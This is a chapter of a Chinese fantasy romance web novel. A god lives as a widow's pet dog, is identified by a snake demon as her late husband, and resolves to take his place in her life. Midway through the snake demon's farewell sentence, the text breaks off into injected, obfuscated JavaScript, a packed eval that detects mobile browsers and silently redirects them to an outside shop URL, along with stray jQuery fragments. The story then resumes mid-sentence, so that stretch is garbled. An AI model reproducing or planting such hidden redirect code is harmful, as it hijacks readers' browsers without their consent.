文趣网 > 其他小说 > 王爷的养花日常 > 60. 做她的狗
    墨桁觉得自己大抵是疯了。

    不然……他怎么会变成她的狗?

    还……很乐意?

    因为……她好温柔,好香。

    他借着小狗的身份无时无刻的想和她贴贴。

    小花瓣也时常宠溺的将它抱在怀里。

    特别是午后之时,她会抱着它躺在木屋门口的睡椅上小憩片刻。

    她在小憩,他在偷看。

    看不够,怎么都看不够。

    他默默在内心谴责自己这般“变态”的行为,可却又不受控制的……沉溺其中。

    不知道是不是因为附身在小狗体内的原因,他觉得自己真的成了一条小狗。

    每当她笑着喊他“木木”,然后手在他脑袋上抚摸几下,他都舒服的想满地打滚。

    每次她给他端来她亲手给他做的“狗饭”时,明明他嫌弃得不得了,却还是忍不住把它全部吃光光。

    然后她就会高兴地抱起他亲几口,每当这个时候,他都会庆幸自己是黑色的毛皮,要不然她就会看到小狗脸红了。

    不过他最期待的还是晚上睡觉的时候。

    她会在她身旁给他留一个位置,然后抚摸着他入睡。

    每次等她睡熟之后,他就会悄悄变回墨桁,一开始,他只是在一旁看着她,不敢逾越半分。

    直到……她将手搭在他的腰上,将头贴在他的额头,一呼一吸间,全是她的香味。

    然后……他就舍不得变回去了。

    每天夜里他都会想,自己若是能光明正大拥她入睡,那便是永远当一条小狗,也没什么不好的。

    只可惜,在她清醒前,他还是得变回去,毕竟,若是无缘无故变成人出现在她面前,还睡在她的身边。

    那样,会吓着她吧。

    而且,若是她不喜欢自己怎么办?毕竟她有夫君,虽然已经去世,但……她好像很爱他。

    他经常会听到她在睡梦中哭得很伤心的呼喊“王爷”,每当这种时候,他的心都会抽痛不止,他会将她轻轻的拥入怀中,拍着她的背哄着她,温柔的为她擦拭眼泪。

    他心疼她,同时也怨恨那个让她流泪之人。

    他凭什么?

    都死了还要这般折磨她?让她这般伤心?

    墨桁甚至会想,若她爱的人是自己便好了,他不会让她哭的。

    这样的想法,每一天都比前一天更浓。

    可他又害怕,若他是小狗,那他便还能肆无忌惮的亲近她。

    但若他是……她还会像对待狗狗那样对待他吗?

    她会不会生气的将他撵出去?

    “木木?”

    “怎么了?是不是不舒服?”

    小花瓣正在给他准备早餐,看见小狗有些丧丧趴在一旁,可怜巴巴的看着她。

    她立马擦了擦手将他抱起来检查,看上去没什么问题,不过她还是有些担心,这两天木木好像变了些,虽然依旧粘人,但好像没有之前那么活泼调皮了,反而…变得安静了起来。

    眼神也变得怪怪的,以前木木眼里清澈天真,现在……好像多了些其他的情绪。

    她有些担心,她怕木木是生病了。

    她轻柔的将他抱在怀里抚摸“木木,你等一等,我让灵姒姐姐来帮你看看。”

    灵姒?

    是谁?

    兽医?

    很快,墨桁就见到了这个灵姒。

    不是什么兽医,而是……万年蛇妖。

    她天天驱蛇虫,居然和这么一个蛇妖打交道。

    他警惕的看着灵姒,片刻不敢松懈。

    “小桃花,找我何事啊?是想我了吗?”

    小花瓣见她,立马将木木放下起身相迎“灵姒姐姐!”

    灵姒笑着摸了摸她的头“怎么了?”

    她抱起小狗递给她“灵姒姐姐,木木这两天有些不对劲,你帮我看看他是不是生病了?”

    灵姒听完便想伸手接过木木给他检查检查,没想到木木反应激烈,挣脱着跑开了,眼神充满警告。

    灵姒有些疑惑,这小狗此前对她还挺热情的,怎么现在像换了一条狗似的?

    不对,这屋里气息不对,她也警惕的观察着眼前的狗。

    小花瓣从来没见过木木这样,她担心地蹲下安抚他,在她的安慰下,木木放松了许多。

    见他好一点,她又抱起他,担心的问道“木木,你乖乖的让灵姒姐姐看看好不好?”

    木木哼唧了两声,趴在她肩头表示抗议。

    她不知道该如何是好,眼神求助灵姒“灵姒姐姐,木木这是怎么了?”

    灵姒眯眼思考了一下,随即她笑了出来,抬起桌上的茶喝了一口。

    “依我看,这小狗没事儿。”

    “估计是,爱上你了。”说完,她斜眼看了看她怀中的狗。

    “小桃花,你可得小心些,谁知道这小狗皮下,装的是谁?”

    木木目露凶光的盯着灵姒,灵姒朝他挑了挑眉。

    小花瓣听得云里雾里,她低头看了看怀中的木木,此刻正瞪着黑溜溜水灵灵大眼睛的看着她。

    好可爱。

    她忍不住摸了摸。

    “灵姒姐姐,你说的是什么意思?”

    灵姒嫌弃的看了看狗“我的意思是……你的狗狗没事,放心吧。”

    小花瓣松了口气。

    突然她又想起什么“灵姒姐姐,你那边有消息吗?”

    灵姒看着她思考了起来。

    她知道她那种找法是大海捞针,刚好她在冥界有些人脉,想着帮她问问萧云桁投胎了没,可得到的回复是——名单上没有这个人。

    凡人身死后冥界都是要记录在册的,除非萧云桁不是凡人,可她又百分百确定萧云桁是凡人,但名单上没他,这就很难办了,因为可能性很多,要么消息不对,要么萧云桁是下凡历劫的神仙,要么他变成黑户无法转世等等等等。

    此前她更偏向消息是错的这种可能性,又着人调查去了,现在都还没回话。

    不过现在……她倒是觉得消息应该是准的。

    她对着小花瓣笑了一下“还没回消息,放心,有情况第一时间告诉你。”

    小花瓣有些失落“没关系的灵姒姐姐,你已经帮我太多了,都不知道该怎么谢谢你。”

    “那好办,你去给我挖两坛桃花酿,我一会儿带走,就当路费了。”

    “好!”小花瓣放下木木开心的跑出去给她挖酒去了。

    她前脚刚走,后脚………

    灵姒懒洋洋地盯着搭在自己脖子上的剑,冷笑了一声“呦,上神好兴致,居然当起狗来了。”

    墨桁没回复她,只是将剑又逼近了几分“你何居心?”

    灵姒歪了歪脖子笑出了声“这话该是我问你,萧云桁,你这葫芦里卖的什么药?”

    萧云桁?

    她叫他萧云桁?

    他冷冷开口道“我不是萧云桁。”

    灵姒本以为装狗是萧云桁为了逗花生的小把戏,可现在看样子……他好像什么都不记得。

    按理说,如果萧云桁是神仙,那他此前应该是下凡历劫,但历劫后记忆是不会消失的。

    那只有一种可能,他自己喝了忘川水。

    忘川水凡界难搞,她之前拖了好多关系才讨到一小瓶。

    但神仙可就不一样了,这忘川水本就是为他们历劫的神仙专供的,更何况还是……上神。

    凡人萧云桁是爱桃花生爱得死去活来,甚至连命都不顾。

    可上神萧云桁就不一样了,哦不,说不定他现在都不叫萧云桁。

    他既然选择忘记,那便是想放下,可……现在这一出又是什么意思?

    看他的样子,怕是又爱上了。

    她是真搞不懂他想干什么。

    她想得忘我,迟迟没有回答墨桁的疑问。

    墨桁等不了就又追问了一遍“你为何叫我萧云桁?”

    灵姒回过神来看着满是警惕的墨桁,突然她灵机一动。

    她尬笑了几声“哈哈哈,不好意思,我认错了。”

    “什么意思?”他追问道。

    灵姒瞥了瞥脖子上的剑,墨桁迟疑了片刻,还是将剑收了回来。

    灵姒起身活动活动了脖子,上下打量了一下他。

    “像,实在是像。”

    墨桁疑惑的看着她“像什么?”

    “她死去的丈夫啊!”说着她摇了摇头咂了咂嘴“太像了。”

    墨桁愣在原地,不知道在想什么。

    灵姒看了眼屋外“我说这位狗狗上神,你接近我们花生,意欲何为啊?”

    墨桁没有回答。

    “哦~你不会,是爱上我们花生了吧。”

    原来她叫花生,名字还挺别致的。

    灵姒将他的一举一动看在眼里,她故意摇了摇头“唉,可惜可惜。”

    “可惜什么?”

    灵姒歪嘴一笑“可惜,你来晚了。”

    “小屋旁的墓看到了吗?那里面埋的是她最爱的人,你可知……她一直在寻爱人的转世?”

    她绕着墨桁转了一圈,眼神略带挑衅“你说…小桃花若是找到了她转世的爱人,还会……收留你吗?”

    墨桁皱起眉,拳头紧了紧。

    她笑得更挑衅了些“要不我给你支个招?”

    “你和她那心爱之人长得像极了,你不如当他的替身,努力勾引她,让她爱上你,这样……你就可以上位了。”

    “不过,她那么爱他,你说,你会有机会吗?”

    墨桁生气的握紧手中的剑“你!”

    灵姒做了个噤声的手势“嘘,她回来了,你想被她发现吗?”

    话音刚落,小花瓣便推开了门。

    一推开门,她就看到灵姒慵懒的坐在椅子上,而木木则是趴在地上,看起来……有些失落?

    她将手中的桃花酿递给灵姒“灵姒姐姐,给你,喝完再来找我要,管够!”

    灵姒起身接过,宠溺地抱了抱她“谢谢花生,那我走了。”

    小花瓣点了点头,做了个再见的姿势“嗯!拜拜,灵姒姐姐。”

    灵姒提着酒走出小屋,临走前她转身朝小花瓣说“放心吧花生,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17828713|207623||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你的小狗没事。”然后她瞅了一眼她身后的小狗,露出一个邪恶的笑容“就是得看好点,这荒山野岭容易被孤魂野鬼附身。”

    小花瓣有点被吓到,灵姒笑了笑“不过你放心,我看这小狗凶得很,估计孤魂野鬼也不敢闯进这个林子里。”

    小花瓣看着朝灵姒呲牙的木木,有些忍俊不禁。

    灵姒朝小狗做了个鬼脸。

    “好了,这两日热别让自己太累,多休息休息。”

    “还有,记得帮我给萧云桁问个好啊,再见。”说完便化成云烟消失了。

    “再见,灵姒姐姐。”

    小花瓣听到萧云桁的名字,不禁情绪低落起来。

    好像已经很久没听过他的名字了。

    她抬着桃花酥走到萧云桁的墓前,她用手勾勒着墓碑上的字“阿桁……我想你了。”

    在她的身后,一条小狗悄悄的…碎了。

    她在墓前坐了一会儿,后知后觉木木没有跟过来。

    她起身想去寻他,转身就看到了蜷缩在树下的小狗,耳朵耷拉着,模样看上去很可怜。

    她突然想起她还没给他吃东西,顿时有些自责,走过去将他抱起“木木,对不起,你看我这记性,都忘了你还没吃东西了,你乖乖等我一下,马上就好。”说完她想放下他给他坐东西吃。

    可木木死死的扒着她,不肯松手。

    她无奈的笑了笑“好吧好吧,那便抱着做,好不好?”

    木木用鼻子蹭了蹭她的脖子,她被痒得笑了几声“好了好了,乖,别闹。”

    木木听话的趴在她肩头,她一只手抱着他一只手做饭,做了许久才艰难的完成。

    她将堆满肉的碗放在木木面前,可他却一口不吃。

    她这下有些不知道他想做什么了,她担心的看着他“木木,乖乖吃饭好不好?吃饱饭才有精力和我一起出去。”

    出去?

    去哪儿?

    去找……她转世的爱人吗?

    不!他不去!

    想是这么想的,不过最后还是把碗里的食物乖乖吃完了。

    因为木木表现反常,小花瓣不敢将他一个人留在林子里,便还带着他一起出去了。

    大热天的,他一身黑色毛皮,确实热得够呛,墨桁暗暗想,做狗还是有些窝囊的。

    然后很快,他就不觉得窝囊了,而是……羞耻……

    小花瓣怕木木热,想着西南会凉快些,这次便往西南方向去寻,中午太阳最大的时候她也是避免不出门,可即便如此,木木还是热得吐舌头。

    她便想到干脆帮他洗洗澡,帮他降降温,刚好她也有好久没给他洗过澡了。

    奇怪的是,此前洗澡,木木都很乖,但这次不知道是怎么了,他有些抗拒。

    小花瓣只好一边轻声安慰他,一边动作尽量放轻柔些。

    一番操作下来,墨桁认命了,他无力的躺在地上任她蹂躏。

    小花瓣没注意到,黑色的皮毛下,透出些淡淡的桃粉色。

    她只感觉木木洗完澡后有些精疲力尽,她以为是洗累了,给他擦水的动作都尽量温柔。

    她不知道,她温柔的动作对墨桁来说简直是……酷刑。

    她这样对待他,他还怎么可能会能和别的仙子成婚?

    他突然想起灵姒的提议。

    若他能代替她的夫君…………

    可问题是,她会接受他吗?

    她会……爱上他吗?

    若当不成反而让她厌恶他,他就是连狗都没得当。

    直到……

    直到他看到她在街上一个个的寻人,那么热的天,她热得满头是汗,还要抱着他,连晚上也不曾休息。

    她如同无头苍蝇一般,见着个小孩就朝人耳朵后面看,看不见耳后的她就直接拉起人家手腕看,连襁褓里的婴儿都不放过,害得人家都以为她是什么怪人。

    她连鸡鸭鱼什么的也都不放过。

    怪不得她这么累,这种找法,且不说那人转世成人了没,即便真的转世为了人,这种找法无疑是大海捞针。

    最后她又精疲力尽的抱着他回了林子,像上次一样,靠在墓旁的桃花树下沉沉睡去。

    墨桁看见靠在自己怀里累到虚脱的小花瓣,心里说不出的酸涩。

    他抱着她靠在桃花树下,花瓣散落在他们身上,他小心地替她挡住落下的桃花,满眼心疼的看着她的睡颜。

    她似乎做了梦,眉头紧紧的皱在一起,嘴里一会儿喊着“王爷”,一会儿喊着“阿桁”。

    就是没喊木木。

    他轻轻抚平她的眉,略带酸涩的开口“别叫他的名字,别找他了,好不好?”

    “以后让我替他陪着你,好不好?”

    回答他的,只有她平缓的呼吸声风吹桃花树的声音。

    “那我便当你同意了。”

    夕阳斜照,一缕缕金黄的斜阳洒在轻盈落下的粉瓣之上,照在桃花树下相拥而眠着的二人身上。

    一人心心念念自己死去的爱人,魂牵梦绕。

    一人满心酸涩,渴望今后桃花只为他而开。